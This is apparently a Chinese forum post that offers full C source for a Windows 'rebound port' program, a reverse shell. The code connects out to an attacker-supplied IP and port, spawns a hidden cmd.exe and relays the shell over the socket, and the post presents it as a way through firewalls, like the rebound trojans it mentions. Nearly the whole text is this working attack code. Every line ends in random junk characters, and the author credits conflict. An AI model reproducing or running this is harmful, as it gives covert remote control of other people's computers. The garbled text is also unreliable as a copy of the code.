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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XW:%vJu^`  
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/* ============================== %#4 +!  
Rebound port in Windows NT 0%;M VMH  
By wind,2006/7 W^|J/Y48  
===============================*/ #XL`S  
#include - #Jj-t_Fe  
#include ]c,l5u}A$  
s<#N]mp'   
#pragma comment(lib,"wsock32.lib") C$ hQN  
'{W3j^m7  
void OutputShell(); p  .aE  
SOCKET sClient; x!`KhTu`_A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >DS}#'N4l  
cS 4T\{B;  
void main(int argc,char **argv) H\f/n`@,G  
{ ,N;v~D$Y  
WSADATA stWsaData; h;}ODK(.  
int nRet; @|]G0&gn&?  
SOCKADDR_IN stSaiClient,stSaiServer; l}+Cdy9>  
5])8qb/F  
if(argc != 3) *sAOpf@M  
{ ytob/tc  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'M lXnHxt  
return; k?n]ZNlT  
} 8iOO1I?+  
s%bUgO%&  
WSAStartup(MAKEWORD(2,2),&stWsaData); /6smVz@O  
7>KQRLw  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [DL|Ht>  
tUrNp~ve,  
stSaiClient.sin_family = AF_INET; )ZeLaaP  
stSaiClient.sin_port = htons(0); 79a9L{gso  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n8Q* _?Z/  
p*!q}%U  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <YSg~T  
{ W`5a:"Vg  
printf("Bind Socket Failed!\n"); [Q=4P*G}X  
return; m"q/,}DR  
} }eI`Qg  
CCn/ udp@  
stSaiServer.sin_family = AF_INET; lf;~5/%wMG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b<8q 92F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >0 7shNX  
>waN;&>/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k5g@myb-  
{ .h a`)@MsZ  
printf("Connect Error!"); ;i}i5yv2  
return; ^YqbjL  
} %db3f z  
OutputShell(); <qr^Nyo4  
} ,Z?m`cx  
#[Z<=i~C  
void OutputShell() (A2U~j?Ry}  
{ a\>+=mua  
char szBuff[1024]; {dDq*sLf  
SECURITY_ATTRIBUTES stSecurityAttributes; 22PGWSQ  
OSVERSIONINFO stOsversionInfo; wJ/ ~q)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G IK u  
STARTUPINFO stStartupInfo; QT7_x`#J~o  
char *szShell; \y@ eBW  
PROCESS_INFORMATION stProcessInformation; (26Bs':M~  
unsigned long lBytesRead; qih6me8C  
.$UTH@;7  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @{'o#EJY  
x}_rnf_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .:T9pplq  
stSecurityAttributes.lpSecurityDescriptor = 0; \?r$&K]4  
stSecurityAttributes.bInheritHandle = TRUE; a4:`2  
&bn*p.=G  
hl*MUD,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eS* *L 3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;r%<2(  
FF8WTuzB+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hJ<:-u+yk}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R !jhwY$  
stStartupInfo.wShowWindow = SW_HIDE; _ \_3s  
stStartupInfo.hStdInput = hReadPipe; f>|9 l  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j`{fB}  
 )Kxs@F  
GetVersionEx(&stOsversionInfo); vi^z5n  
>'ie!VW@  
switch(stOsversionInfo.dwPlatformId) f(^33k  
{ +yt6.L  
case 1: <\+Po<)3j  
szShell = "command.com"; fmtuFr^a1  
break; yY'gx|\  
default: pb~Ps#"Zg  
szShell = "cmd.exe"; PkjT&e)  
break; -6(h@F%E  
} 5sG ]3z+1  
]aREQ?ma&z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *X%?3"WH8  
sV]i/B  
send(sClient,szMsg,77,0); @wg&6uQ  
while(1) Ml'bZLwq  
{ loml.e=87  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rve7YS'  
if(lBytesRead) \MfR #k0  
{ Dm&lSWW`/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e6Wl7&@6  
send(sClient,szBuff,lBytesRead,0); f S(^["*G  
} 6'S5sRA  
else YCtIeq%  
{ `MN&(!&C*  
lBytesRead=recv(sClient,szBuff,1024,0); .%|OGl ?  
if(lBytesRead<=0) break; { +i;e]c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^H f+du  
} @ARAX\F  
} "K9vm^xP  
UDhwnGTq(l  
return; _HSTiJVr  
}
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